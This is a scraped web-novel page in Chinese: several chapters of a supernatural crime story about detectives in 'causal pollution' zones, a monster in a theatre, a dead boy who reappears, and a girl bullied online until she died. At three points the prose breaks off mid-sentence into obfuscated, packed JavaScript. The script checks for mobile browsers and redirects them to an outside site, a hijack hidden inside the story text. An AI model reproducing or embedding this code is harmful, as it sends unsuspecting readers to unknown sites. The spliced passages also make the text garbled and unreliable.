秋樰生不明白发生了什么,但是那减速显然只对少年有效,秋樰生和他不过是前后脚,轮到秋樰生的时候,车阵却已经又恢复了正常速度。于是,刹车声、鸣笛声、碰撞声和叫骂声登时响成了一片,秋樰生顾不上说明,强行避让甚至翻滚过那些车头,才有惊无险地勉强也跑到了对面。 就是这么一耽搁,少年已经跑得无影无踪。 秋樰生气得当场爆了句粗口。 “轰隆”一声,天上骤然响起了惊雷声,秋樰生抬起头,发现天色突然变了,风起云涌,显然马上就要落雨。跟丢了少年,秋樰生也没别的办法,只能重新回到自己车里,打算先继续完成赵萌萌交给自己的圈定污染范围的事。 未几,一场倾盆大雨倾倒下来,整个天地都被大雨所遮蔽。 发现雨刮器开到最高速度也没法刮清前挡风玻璃的时候,秋樰生选择将车子开入附近一处桥洞底下,打算先避避雨再说。 雨水哗啦哗啦冲击着天地,犹如万马奔腾,地面上很快形成了一道道水流,向着低洼处流去。 秋樰生戴着腕表,拿了侦测器和伞熄火下车,反正闲着也是闲着,他打算看看周围有没有污染数值变化。 老刑警要抓得到人、破得了案,首当其冲就是要对辖区了如指掌。秋樰生自从知道自己要上调市局后,就争分夺秒抢记了整座城市的地标建筑与过往历史。赵萌萌托秋樰生圈定污染范围虽然是没得选择,但也确实歪打正着。然而,或许是大雨之中视线模糊不清的缘故,秋樰生一时竟辨别不出自己此时处于隀明市的什么位置。 头上是还没完全完工的立交桥面,四下里是一片杂草茂盛的野地,大雨之中,荒草被冲刷得簌簌作响,夹杂着癞蛤蟆和虫子的叫声。 一道霹雳划过天空,短暂将大地照亮,秋樰生突然发现前面的荒草丛中好像有什么东西。 刑警的直觉让他觉得情况不妙。被牵扯到重案组的事情里已经够麻烦的了,要是这里头再混进起恶性案件,那简直是雪上加霜。 想是这么想,秋樰生还是撑开伞,朝着刚刚发现那东西的方位小心地靠过去。 雨水浸润了土地,秋樰生才离开桥洞没多久,鞋子就被泥水完全浸透了。 “重案组这么NB,怎么不知道发双鞋!”秋樰生不由得有些迁怒,裤腿变得又湿又重,脚下也变得深一脚浅一脚。雨水咚咚咚咚敲打着伞面,配合时不时的雷鸣电闪,更加重了月黑风高的恐怖氛围。 在确切的来到那东西跟前时,秋樰生最后一点希望也破灭了。 眼前湿漉漉的草丛中躺着一具被反手捆绑起来的佝偻身体,从尸僵程度来看,已经不太新鲜了。 秋樰生先用手机把发现那具身体时的第一情况拍摄下来,然后才把他翻转朝上,打开手机电筒细看。 这一看,秋樰生不由得倒吸了一口冷气。 “妈的!”他忍不住骂了一句。 雪白的光芒下,秋樰生看到了一张刚刚才见过的脸,是那名少年。 明明不久前还在自己的呼喝声中逃跑成功,此时,那少年竟然冷冰冰地成了一具躺在秋樰生眼前的尸体。 …… 方许恩跟着秦于理,二次踏进隀明大剧院。 秦于理说,根据方许恩被吓回来的记忆,他遇到的那个隀明大剧院上反复高坠的家伙应该就是那个重生者,又因为隀明大剧院里有一部叫作《野孩子》的音乐剧广告显眼且无变化,所以那个坠楼的重生者就算不是《野孩子》的创作者朱平本人,也很可能与《野孩子》有极为密切的关系。总而言之,如果能找到朱平这个人的确切信息,应该就找到了破局的切入口。 “可是这里还是一个人都没有,我们要怎么找到那个朱平?”方许恩边走边问。 “你刚刚也上去看过,四楼是剧院办公室,里面应该有文件资料,诸如职工花名册、演出登记表或者别的什么,既然《野孩子》在这里演出,总会留下点儿蛛丝马迹。”秦于理说着,长腿一迈,爬上了最后几级楼梯,找到一间办公室的门推了一下,发现门锁着。 这些老式门扇上都有玻璃窗格,秦于理从外面往里头望了望,然后退后一步,一脚把门踹了开来。 门扇发出哐当一声,弹到墙上又反弹回来,晃个不停。 方许恩咽了口唾沫:“你刚刚才说我们做的一切都会作用到现实世界。” “嗯。”秦于理边说边进入室内搜索起来。 方许恩想说什么,秦于理说:“你是打算讲文明懂礼貌,然后有礼有节乖乖地去精神病院吗?” 方许恩乖乖闭嘴,快步冲进房间,开始帮秦于理一同寻找。 第一间屋子里堆放着一些汰换下来的老旧办公桌椅,抽屉没有锁,两人打开翻找了一阵子,没有有价值的线索;第二间屋子里堆放着道具箱子,有的开着,没开的,秦于理直接用指虎砸开,但里面也没有什么值得注意的东西;第三间、第四间…… 方许恩跟着秦于理一间一间找过去,一开始还斗志昂扬,慢慢的开始失望,翻完最后一间屋子,他们依然一无所获。 “东西会不会在别的地方?”方许恩问,“比如下面两层的剧院里?既然《野孩子》还没完成,那肯定需要排练,说不定台本之类的东西都放在后台。” 秦于理点点头。 这间房间没有锁门,他们刚刚是开门进来的,因此大门也就避免了被秦于理踹坏的命运。这时候,秦于理打开门扇正要往外走,突然猛的一顿。 方许恩反应不及,直接撞到了秦于理的后背上。对上一个成年男人的份量,这女人居然纹丝不动。 “你干什……” 秦于理突然飞快退回屋内,带上门,并且捂住了方许恩的嘴。 方许恩:“唔唔?” 秦于理竖起食指放到嘴边,方许恩乖乖闭了嘴。秦于理背靠墙面,贴近门边,从玻璃窗往外看,方许恩好奇心作祟,也跟着偷偷弯腰,扒着窗户往外看。 不看还好,一看方许恩的头皮都炸了。 原本就不太明亮的走廊上此时变得黑黢黢的,仔细看才会发现,那是因为有一个庞然大物正在走廊上沉重而缓慢的移动。 那东西有个人的轮廓,看得到脑袋、身体和四肢,但人又应该没有这么巨大的身形。 一般建筑物的层高在2米7到3米左右,这个东西居然和一层楼一般高,他的身躯庞大,塞满了整条走廊,因此将窗户外的阳光挡得严严实实,只有在他走动的时候,才会因为动作,有零星光线从他身后的窗户外射进来。 怪不得走廊会变得一片昏暗,他一个人就挡住了整条路。不仅如此,这人……或者该叫人形怪物在走动的时候,步伐缓慢而沉重,每挪动一寸,楼板便跟着震颤一下,地上铺设的木头地板发出嘎吱嘎吱的呻吟,像是随时可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑漆漆的大家伙边挪动边检查两边的屋子。这里的很多扇门都被秦于理弄坏了,但是和这大家伙的手段相比,秦于理刚刚的举动就显得礼貌多了。她只是踹坏门锁而已,大个子却是一刀下去就劈开一块门板,伴随着“砰砰”的声音,木头门板四裂,大个子把自己的脑袋探进屋内四处找寻。 显然,他刚刚说知道秦于理他们在哪里是骗人的,可是,也很显然,不用多久,这家伙就会找到这间屋子来了。 秦于理环视屋内一圈,指了指墙角的一口衣柜,对方许恩说:“你进去。” 方许恩:“嗯?” 秦于理:“回头茶餐厅见。” 在方许恩反应过来之前,秦于理一把打开门,冲了出去。 方许恩:“我……” 方许恩也很想发挥男人的雄风,但他最后只是跟在秦于理身后,飞快地把门带上还反锁上了门。 “我只是个手无缚鸡之力的弱鸡,”方许恩默默地想,“还是不要给秦警官添麻烦了。” 外面传来了秦于理的喊声:“哎,这里!” 随后走廊上便响起令人战栗的声响:“找到你了,抓住你!我要抓住你杀了你!” 隆隆的脚步声伴随着大嗓门一同响起,像炸雷一般从走廊那头滚到这头,方许恩吓得赶紧躲进衣柜里,死死从里面拽住衣柜门瑟瑟发抖。 “方许恩,你给我出息点,不要抖!”方许恩在心里骂自己,可是人在危机面前的直接生理反应是克制不住的,方许恩牙齿打颤,觉得自己现在浑身软得像煮过头的意大利面。 外面传来巨大的噪音,应该是秦于理和那人形怪物在交手,方许恩侧耳细听,试图分辨出两者之间的战况。 然而,就像是为了烘托激烈的战斗氛围一般,外面突然传来了真正的雷声,一声炸雷响过后,紧跟着是轰隆隆冲刷天地的雨声。 方许恩是个音乐家,耳力一向好,他不自觉地被吸引,去分辨了外间的声音,等到回过神来的时候才发现,秦于理和那大家伙的打斗声消失了。 “战斗结束了?”方许恩额头的冷汗瞬间冒出,因为他不知道最后的结果是什么。 如果秦于理赢了,他的命就保住了,可如果不是,那下一个,就是他了。 方许恩凝神屏息,试图分辨出此时衣柜外的情况,然而这个时候,他的耳朵动了动,忽然发现,自己听到了一个微弱的呼吸声。 呼吸声就在衣柜里,在方许恩旁边,可方许恩现在已经屏住了呼吸,那这呼吸声是谁的? 方许恩颤抖着掏出自己的手机,点亮了屏幕。 在他的面前,出现了一张小女孩的脸。 15.第15章 还得自己扛 秦于理好像听到了方许恩的惨叫声,但下一秒,冲着她劈砍而来的菜刀锋芒吸引了她全部的注意力。 秦于理双臂交叉,用指虎架住那把菜刀,对方力气很大,秦于理也无法与之抗衡,但她巧妙地借力打力,顺着菜刀劈砍的方向向外一拉,巨大的黑影被带着往前踉跄,一头扎进了被砍坏的门板窟窿里。 秦于理欺身而上,挥拳狠狠砸向那团黑影,然而触感却像是砸进了一摊陈年冻肉里,硬邦邦的,只几下便反弹得虎口发麻。 “这变异的怪物还真不好办!”秦于理判断这东西应该打不死,既然打不死,那就只能跑。 秦于理朝着下层楼跑去,试图将那团黑影引出隀明大剧院,这样方许恩一会儿逃命的时候也能更方便。 此时的秦于理还不知道方许恩已经在衣柜里两眼一翻昏过去了,她按照自己的计划飞快地三两步一跳,到楼梯转角便单手撑住楼梯,从上一层跃往下一层,然而下了几层后,却始终没有看到剧院大厅。 “看来这里的空间也因为那头异变怪物紊乱了!”秦于理很快得出了结论。 身后传来“咚咚咚”的响声,是那只举着菜刀的怪物用尽全身力气在追赶秦于理。秦于理的态度很显然激怒了他,因为她不仅不害怕他,居然还敢还手,这让那头庞然大物彻底发狂。 “杀了你,我要抓住你,把你杀掉!!!” 秦于理在谩骂声中刻意放慢了一点速度,边遛那只怪物跑,边留意观察四周,她要找到突破空间迷宫的方法。 在极短的追逐时间内,那头怪物已经变得更恐怖了。 刚开始秦于理在走廊里见到那怪物的时候,他还是一团黑黢黢的人形影子,此时他的面目倒是已经分明,可以看清眼睛鼻子嘴,甚至看出那是一名有点岁数的中年男人,但是他的人形已经彻底垮了。那家伙不知什么时候坍塌成了一摊融蜡一样的东西,范围从楼梯上层铺到楼梯下层,跟史莱姆似的不停鼓涌。 “啧,恶心!”秦于理轻声嘀咕了一句,脑子里飞快地思索着这东西原本的身份会是谁,难道会是那个创作《野孩子》的朱平? 秦于理正想着,猛然一低头,一团脏乎乎的粘液从她头顶喷射过去,“啪”的糊了对面一墙,老旧的墙面发出“嘶嘶”声,像是被王水腐蚀了一般,很快出现了蜂窝煤状结构。 秦于理顿时感觉更糟糕了。 因果污染空间对所有人都有影响,秦于理刚刚说方许恩距离疯掉不远了,其实她自己的状况也并没有好很多,看来她必须尽快离开这里。 可是,连出口都消失了,她要怎么离开? 秦于理想到这里,突然一个急刹车,停住了脚步。随后,她转身飞快地打量那只怪物。后者已经变成了很大的一摊,几乎绵延了上下三层的楼梯,菜刀变成了那摊脏兮兮的“果冻”里的一个附着物,此时其实已经没有太大的威胁作用了,真正危险的是这东西的本体。 “抓住你,我要抓住你,然后把你千刀万剐,你去死吧,臭女人!” 怪物的五官奇异地漂浮在那堆粘液中,他的眼珠子混浊猩红,充满了恶意,死死地盯着秦于理。 秦于理突然弯腰做起跑状,跟着加速朝怪物冲去。 那摊怪物显然也没料到刚刚跑得比兔子还快的秦于理会突然“投怀送抱”,以至于愣在了原地,眼睁睁看着秦于理冲到了自己跟前。然而,秦于理显然并没有真的打算自投罗网,她的脚尖在那摊融蜡当中一点,人像一只飞鸟掠过那摊东西的上空,眼看着就要撞到墙上,她却扭转腰肢,侧身在墙上用力一蹬,紧急转向后扑向楼梯栏杆。 栏杆上全是黏糊糊的粘液,秦于理在即将撞上去的刹那,伸手在栏杆上用力一拳挥出,指虎轰击扶手产生反作用力,秦于理纤长的身形倒飞出去,头下脚上,她伸腿一勾,挂住了上层栏杆上唯一没有沾到粘液的那一点,接着核心发力,整个人折叠向上,落到了上一层的扶手上。 这一套动作利落漂亮,除了中间传出的嘶嘶声证明秦于理并非毫发无伤,堪称完美。 秦于理并没有在意那点疼痛,在她的眼中此时只有一条道路,那就是往上。 既然往下找不到出口,那么往上试试也不吃亏! 融蜡怪物反应过来,发出了怒吼。秦于理的滑不留手似乎深深伤害了这东西的自尊,整栋建筑都因为他的咆哮而颤抖起来。 “你想跑到什么地方去,我不会放过你的,就算跑到天涯海角我也要抓到你,抓到你,打死你!”他疯狂叫嚣着,发出汩汩的声音,又掉头向着楼上追去。 秦于理依然在加速奔跑,刚刚是单手撑住扶手下跳,现在是像灵活的猿猴一般攀住未被完全腐朽的楼梯扶手上行。 因为那怪物的腐蚀性,周围已经变得千疮百孔。脚下的木地板有的变成了豆腐渣,一脚没踩对便会陷下去。秦于理深一脚浅一脚,终于到达了顶楼。 “如果这里再找不到出口,那就只能跟这玩意儿拼了。”秦于理已经做出了决定,出外勤有伤亡很正常,但她死之前好歹要找个垫背的! 不知道是不是秦于理身上散发出的杀气让那死咬着她的怪物也感到了威胁,秦于理在被那东西完全赶上之前跑到了走廊尽头,在那里,她看到了一扇之前没见过的小门。 小门开在天花板上,与其说是门,更像是一个四方形的洞。隀明市以前的老楼使用楼顶水箱供水,都会有这么一个供工人清洗水箱攀爬用的洞口。 “有了!”秦于理灵活地顺着两面墙的夹角,壁虎一般游了上去,伸手一顶一推,一股潮湿的夹着烫意的雨腥气扑面而来,秦于理迅速翻身上去,果然看到了外面的景象。 外面显然刚刚下过一场大雨,整座隀明市都云遮雾绕,仿佛浸没在水汽之中。明明还不是晚上,天色却很昏暗,不知是民居还是商业大楼的灯火影影憧憧漂浮在这片水汽之中,宛如海市蜃楼。 “杀了你,我要杀了你!”那怪物还在咆哮。 秦于理深吸了口气,后退两步,猛然加速,从楼顶天台翻了出去。她在空中单手抱住户外落水管,指虎插入户外落水管的管壁中,一路发出破竹之声,将那条管道剖了个对开。 “咚”的一声,秦于理成功落到地面,向着隀明大剧院门外跑去。 身后的嘶吼声已经无法辨别言语,大概是那东西见秦于理即将逃脱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370198|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气得再也没空伪装成人,指甲抠挠金属一样的诡异尖啸响起,仿佛能扭曲周围的一切。路灯、水泥路、门房,甚至是剧院大门! 秦于理看到隀明大剧院大门口的铁门整个扭曲,铁条拧绞翻滚着聚拢到一起,像是被一只看不见的手给揉成了一团,随着大门扭曲,外面的场景也跟着扭曲、碎片化,出口正在关闭! 秦于理拔足狂奔,她看到那扇门房边的小门此时勉强还算正常,只是歪斜了起来,像一个长方形被拉成了平行四边形,四边形也在不断缩小。 最后十米,秦于理猛然往前一跃,在四边形的门口被拧没之前,像条游鱼一样跃了出去。 “砰”的一声,秦于理收不住势,撞到了什么东西,她护住要害,翻滚了好几圈后,终于停了下来。 “呼——呼——呼——”秦于理大口喘着粗气,她躺倒在湿漉漉的地上,仰面望着上空。 这里明显已经不是隀明大剧院里了,她逃出来了! 秦于理等到气息顺畅以后,爬起身来。环视四周,她发现自己从大剧院出来后并没有回到之前的那条小路上,而是不知怎么来到了一条巷子里。 周围都是破破烂烂的老式平房,巷子两侧居民家玻璃钢做的廉价雨棚将这里的天空割得很窄,一条一条的,也使得巷子里更显昏暗。 周围的门有的关着,有的开着,秦于理能听到一些屋子里传来的人声,有人在看电视,有人在打麻将,还有人在骂小孩。 秦于理检查了一下自己的伤势,她的鞋子和半指手套都因为刚刚接触过怪物身上的腐蚀性粘液有了不同程度的损坏,同样的,里面的手和腿也受了伤,但总体来说,伤势并不算严重。秦于理看到附近一户人家门槛外放着一双女士运动鞋,匆匆留了个赵萌萌的联系方式,提走换上。手套就比较难办,她这副半指手套和指虎是配套的,秦于理最后只能将损坏比较严重的那只手套摘掉,撕了裤腿上的一截料子,当成绷带缠在手上,然后重新套上了指虎。 “也不知道方许恩能不能跑出来。”秦于理在包扎的时候思绪飞快地溜达到了音乐家身上一下,不过并未停留。 每个人的人生轨迹不同,方许恩既然今天跟着她主动入局,那活不活得下来就都是他本人人生的一部分,秦于理管不了。 想到这里,秦于理又想,依照赵萌萌的性格,她此时应该已经找到秋樰生来帮忙了,至于那个又冷又凶又有自己主意的刑警队副队长会不会来,秦于理倾向于一半一半。 方许恩死不死她管不了,秋樰生来不来秦于理也不CARE,秦于理向来习惯了有事自己扛,毕竟她是重案组唯一的组长,也是目前唯一的外勤人员。 飞快地想了一圈,也把自己收拾停当了,秦于理开始思考,自己现在在什么地方。 一个老式居民区,不在隀明大剧院外的正常空间里,应该是别的地方的空间因为因果线错乱,嫁接到了这里,但既然自己会出现在这里,说明这里应该也有值得注意的线索! 秦于理往前慢慢行走,留神观察着值得注意的地方。 一阵风吹来,送来了一股香味,秦于理嗅了嗅:“香火味,谁家死了人在烧纸?” 16.第16章 人言可畏 秦于理松了口气。 有人重生的前提是有人死亡,现在顺着香的味道找过去,她至少能找到一名死者和死者的家属,这怎么能不算是一种进步? 秦于理顺着香火味传来的方向紧走了几分钟,很快发现前方出现了一栋三层居民楼,楼前有一小片空地,上面用白石灰画了一个圈,圈里还能看到烧过黄纸锡箔的痕迹。 隀明市一带的民俗,家里有人亡故要在家附近烧纸烧衣服,让身故者带上行囊上路。画圈相当于包裹,烧去的衣物用品里头也会塞上写有亡者生辰的小纸条,这样一来就相当于署名投递,可以避免孤魂野鬼捡了便宜。 秦于理抬头看向楼上,两楼有户人家的门开着,里面隐约可以看到摇曳的烛火。 秦于理走进楼道,上楼查看。 挂着204门牌号的房门开着,正对着大门是客厅,摆着一张供桌,上面放着吃食和水果零食,两根白蜡烛燃烧跳跃,三支清香插在炉子里,下方的桌面上已经积了厚厚一层香灰,可见已经烧了不止一轮香了。 “有人在吗?”秦于理敲了敲敞开的房门,喊了一声,没有人回答,屋主人似乎并不在里面。 秦于理迈步进去,仔细打量屋内环境。屋子里的布置很简洁,家具虽然老旧但都保养得很好,侧对着大门有张双人布艺沙发,旁边的边柜上摆着花瓶纸巾,可惜花瓶里的花早就枯萎了,主人却一直没心思换。靠走廊的位置有个煤气灶,上面放着一口油锅。锅子用过还没有洗,旁边堆着些厨余垃圾。 屋子靠墙的供桌上摆放着四个小菜,都是家常菜肴,但主人并没有摆出逝者的相片,桌上只有一个黑底金字的牌位,上面写着“爱女朱平之灵位”。 爱女朱平? 秦于理不由得一惊,难道是《野孩子》那个朱平? “请问你是?” 身后传来一个沧桑的女声,秦于理回过头,看到一个打扮朴素的女人提着个铁捅上来。桶里摆放着火钳等工具,看来她就是屋主,刚刚是清理烧纸钱的垃圾去了。 秦于理打量着来人,她头发花白,但脸上的皱纹并不很多,看起来也就是四十多岁的样子。 隀明大剧院的朱平已经是能彩排一台音乐剧的年龄,哪怕是儿童音乐剧,她的母亲应该也不至于这么年轻。 见女人露出狐疑的神色,秦于理开口道:“我是警察。”她伸手从口袋里掏出警官证亮了一下。 女人显然有点吃惊:“警察?”她还真的走过来检查了一下秦于理手上的证件,但秦于理的证件本来就是真的,自然检查不出什么来。 女人突然低低苦笑了一声:“人死了,案子也结了,你们还来做什么?” 秦于理没有接口,女人转身摆桶,说:“坐吧。” 秦于理说:“我给小朱同学先上个香。” 秦于理根据女人的年纪大胆揣测了供桌上那位朱平的年纪,女孩最多应该就是初高中的年纪,所以她用了“同学”这个称呼。 女人果然没有反驳,她从一旁的纸包里抽出三支香,在蜡烛上引燃后递给秦于理,秦于理持香对着那个不认识的女孩朱平鞠了三个躬,然后把香插进了香炉里。 “家里没什么喝的,给你倒杯菊花茶吧。” “谢谢。”秦于理在双人沙发上坐下,她注意到边柜上有个长条形的痕迹,那里可能曾经摆过一张相片,但现在已经收起来了。 女人张罗着烧水泡茶,秦于理趁机往里屋看去,这栋屋子应该是个一室户,客厅兼厨房里头就是卧室,没有独立厕所,估计是一层楼公用一个。 “给。”女人很快将一杯菊花茶放到秦于理跟前,“关于案子的手续我应该都办完了,今天来找我们还有什么事吗?” 秦于理并没有在这间屋子里发现男人用的东西,所以女人用“我们”这个词让她觉得很奇怪。 女人似乎也察觉到了秦于理的困惑,补充了一句:“习惯这么讲了,我和那孩子一直相依为命,就算她已经不在了,我总觉得她还没离开。”女人说着,眼眶便红了起来。她从纸巾盒里抽出几张纸,胡乱擦拭着眼眶。 秦于理不擅长安慰人,干脆直截了当说:“案子从手续上虽然结了,但还有些事情没搞清楚,所以今天登门想问问您。” 女人面露怨色,冷笑道:“还有什么不清楚的,是你们领导说的,我们家平平虽然是被网暴逼死的,但从法律上无法追究那些杀人凶手的责任!” 秦于理愣了一下。网暴?女孩朱平是被网暴后,自己轻生的? 朱平母亲的眼泪像断了线的珍珠一样扑簌簌落下来,嘴里不停埋怨:“老天为什么这么不公平,我们平平明明是个好孩子,她那么孝顺又热心,平时能帮别人的地方都会帮,她明明那么好,为什么偏偏要被这么对待?!” 秦于理很快从女人絮絮叨叨的话语中整理出了一个故事的大概。 朱平是个单亲家庭的独女,今年上高二,她学习成绩一般,但长得漂亮又热心助人,在同学当中的人缘很好。因为家庭条件不好,女孩会利用课余时间去外面打点零工贴补家用,她有一把好嗓子,一次被一家小酒吧的老板看中,请她去酒吧里驻唱。 酒吧就是正常经营的清吧,朱平又很想多赚点钱减轻母亲的负担,于是就去了。刚开始的时候,一切都很顺利。女孩子的歌声赢得了满堂喝彩,不少客人听过一次后就成了回头客,还会再回来听女孩唱歌,女孩因此赚了一些钱,十分开心。然而好景不长,某天,女孩的同学们开始用异样的眼光打量她,朱平不明所以,只知道以前对她很热情的同学们现在看她的眼神很奇怪,以前她看到同学们聊天能很轻易加入其中,现在,同学们看到她过来就会一哄而散。 朱平敏锐的察觉里头可能有什么误会,她找了好几个以前交好的女同学询问,终于有个女同学支支吾吾地告诉她,说在网上看到了她从事灰色行业的帖子。朱平根据女同学的说法,颤抖着手打开了社交软件,不知什么时候,她在酒吧驻唱的照片被贴到了很多平台上。 照片其实都是很正常的照片,照片里的朱平不是沉醉于音乐声中,就是在和台下的客人挥手互动,只是酒吧的灯光比较昏暗,朱平穿的演出服也相对成熟。如果仅仅是这样,那也不算太脱离现实,偏偏发帖的人用很耸动的口吻写了一段文案。 标题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱平被一轮轮的攻击气得神志恍惚,与此同时,学校里同学们看她的眼光也愈发不善了。男同学们离她远远的,聊天的时候偶尔瞄她一眼,意味深长,女同学们则把她当成了透明人,偶尔有人想跟她说话也会被朋友们拉走。朱平去找过班级老师说明情况,老师建议她报警处理,但也提出建议,如果一开始就不去酒吧工作就不会发生这种事,以后做任何决定前是不是应该多思考一下后果呢? 朱平觉得十分憋屈,但她最后还是听从建议,辞去了工作,也去警察局报了案,但网络诽谤的事在现在这个时代屡见不鲜,警方建议她想办法找到发帖人,只要找到其中哪怕一个人的真实身份后去法院起诉,都比报案能更快获得效果。 “平平私信了那几个发帖人,问他们自己什么时候得罪了他们,为什么要这么对她,但是没有一个人给她回复。帖子在一个平台被删除,就在更多的群里被转发,谩骂像雪球一样越滚越大,甚至有人恶意P图污蔑平平。我们家没钱也没精力,实在打不起官司,只能咬牙忍耐。渐渐的,平平的生活和学习都受到了很大的影响,她开始变得阴晴不定,经常以泪洗面,晚上失眠恍惚,睡不着觉,白天一想到要去学校就害怕。”朱母恨恨地说,“都怪我不好。我不应该逼着她去面对问题,逼着她去学校。我说咱们长得好看,唱歌好听,这有什么错,既然没做那些事,咱们身正不怕影子斜!是我低估了那些闲言碎语的力量,是我把平平逼上了绝路。” 女人颤抖着不停抽泣:“人言可畏,人言可畏啊!” 17.第17章 子不教谁之过 秋樰生走进网吧之前看了一眼招牌,招牌口气很大,叫“王者至尊”,但是看门头就知道这不过是间老破小的低档网吧。 网吧躲藏在一栋老旧商业建筑二楼角落里,门口小,空间窄,桌上摆放的机子和已经坐瘪了的座椅都显示着这里档次不高,不过,上座率不错。 秋樰生走到设置在门口的柜台前敲了敲桌子,见埋头嗦泡面的网管抬起头来,亮了一下证件:“警察,了解些情况。” 网管吓了一跳,赶紧把端着的泡面碗放下,用手背抹了抹嘴:“警察同志,我们老板刚出去一会儿,我马上打电话喊他回来!” “不用了,问你就行。”秋樰生说,“你在这里做多久了,平时怎么个上班法?” 网管是个眼袋挺大的青年,因为长期熬夜,显得很没精神,他说:“我、我在这里干了三年了,平时做一休一,就是上一天一夜,再休息一天一夜,每月有两天假期。” 秋樰生点头:“这个人你见过没有?”他掏出一本证件,证件照片上是个笑容木然的少年,正是不久前在秋樰生面前活生生的逃跑,后来又变成一具冷冰冰尸体的那个。 秋樰生搜了少年的尸身,最后只找到几块钱零钱,一本被水泡花了的学生证还有一个喷涂了王者至尊联系地址的打火机,因此,秋樰生顺着线索找了过来。 网管伸手想要去接那本证件,秋樰生手往后退了一下:“重要证物,别碰,就这么看。” 网管吓得一哆嗦,戴上眼镜看了半天才说:“是有点眼熟,不过他应该还没成年,来上网不一定用的是自己的身份证。”越说,声音就越小。 秋樰生没计较王者至尊为未成年人违规提供服务的事,只简单吩咐:“调监控找人,对照机子位置查你们的登记本,我要知道他的登记信息。” “这得花不少时间……”网管有些为难,秋樰生把脸色一沉。 “你想阻挠警察办案?” “没没没,我不敢、不敢!”网管说,“我们这儿监控一般保留两个月,查起来要费不少时间。” “那就去查,这儿我替你看着,什么时候查出来什么时候你回岗。” 网管还想说什么,但见秋樰生一张脸披霜挂雪的,再没敢吱声,乖乖去后台办公室查信息去了。 秋樰生一夫当关,站在柜台前,打量着屋里上网的人群。 整间网吧一共也就十几个座位,摆成了相对的两排,此刻有人在看视频,有人在玩游戏,还有人趴在桌面上呼呼大睡。 屋内人味汗味混着食物味道,虽然有空调,但室内空气依然浑浊难闻。 秋樰生看着看着,莫名的眼睛花了一下,他眨了眨眼,随即身后传来一个略显稚嫩的声音:“老板,要台机子。” 秋樰生扭头看去,眼皮无意识地一跳,心里一万匹草泥马奔腾——他竟然又一次看到了那名少年活生生地站在自己眼前。 秋樰生强忍着没有去揉眼睛,他捏了自己大腿一下,在疼痛中看去,那少年依然还在。 “这因果污染区真是邪了门了!”秋樰生想。 见秋樰生始终不回答,少年警觉地往后退了半步,转身说:“算了,不上了……” 秋樰生的手却搭住了少年的肩膀,那一瞬间,秋樰生感到少年的身体跟着瑟缩了一下。 “不好意思走神了,这就给你开机子。”秋樰生把少年带到柜台前,自己绕到后面,“出示一下身份证或者学生证,重点高校、医护及军校学生证能打折。” 少年犹豫了一下,最后还是从裤兜里掏出一张身份证递过去:“先上两个小时,还是10块钱一小时没错吧?” “对。”秋樰生哪知道这家网吧的价位,反正先接过那张身份证再说。 证件果然不属于少年。那是一张女人的身份证,名字是朱平,出生年月1984年4月4日,算上年纪再观察女人的长相,秋樰生怀疑她很可能是少年的直系血亲。 “登记好了,左边第二台。”秋樰生挑了台离自己近,方便观察的机子。 少年有些不满意:“我想要角落里的位置。” “那儿有人了。”秋樰生没撒谎,角落的两个位置中其中一台前趴着个睡着的人。 “那一台呢?”少年指着对面另一台机子问。 “坏了,还没修。”秋樰生这次撒了谎。 少年纠结了一会儿,最后说:“那好吧。” 他不甘不愿的坐到秋樰生安排的位置上,开始操作。 外面的雨已经停了,只有晚间湿润的空气证明不久前这里才下过一阵大雨,但此时秋樰生的眼底依旧无法摆脱那场大雨还有大雨中被冲刷出来的埋在荒地里的少年尸体的残影。 一个上一秒钟还在逃跑的人,真的会在下一秒钟变成尸体,又在下下一秒钟生龙活虎地站在人前,要求上网吗? 秋樰生怀疑自己已经疯掉了,赵萌萌说过的,因果污染会让人疯掉乃至坏掉,但秋樰生又觉得自己现在很正常,毕竟没有哪个疯子会怀疑自己已经疯了。可假设他确实没疯,那这个反复死了又活的少年到底是怎么回事,他是不是造成这片地区污染的罪魁祸首呢? 少年行为鬼祟,坐到位置上后频频观察四周,似乎在打量有没有人看他。秋樰生只得在柜台里随便找了本笔记本,拿起笔写写画画,装作在忙自己的事。 过了一会儿,少年终于放下戒备,打开网络图标键入了一串网址。 秋樰生根据少年敲打键盘的顺序,在柜台里的电脑上依葫芦画瓢,很快,一个社交论坛页面出现在他眼前。那是一个外国的加密论坛,网吧挂了梯子,因此能够顺利连上,秋樰生只是飞快地扫了一遍首页便确认那是一个性质可疑的非法网络聚集点,因为没有登录权限,秋樰生只能看到少量被展示出来的图片及文字,无一例外,全都是令人感到生理不适的违禁内容。 秋樰生看到少年的屏幕飞快切换,他熟练地登录并很快进入了某个里层聊天室,开始和人大量对起话来。 “警……” 秋樰生飞快回头,用眼神严厉警告站在办公室门口的网管闭嘴。 秋樰生走过去:“怎么了?” “我找到您要找的那个证件上的人了,他上上周才来过……”网管的话在看到不远处坐在机子前的少年时不由得一下子卡壳,他有些无措地来回看秋樰生和那名少年,不知道自己刚刚的发现还有没有意义。 秋樰生压低声音问:“登记信息查过没有?” “查了。” “是用了叫朱平的女人的信息吗?” “是的。”网管说,“我刚刚记起来,他当时还在我们这儿闹出过动静。那天他上网的时候,有个人突然冲进来揍他,把他揍了个半死,还撂下狠话,说你小子再敢在网上胡说八道,把你皮都扒了!” 在网上胡说八道?秋樰生想,要么是信口造谣,不然就是掐架互撕。 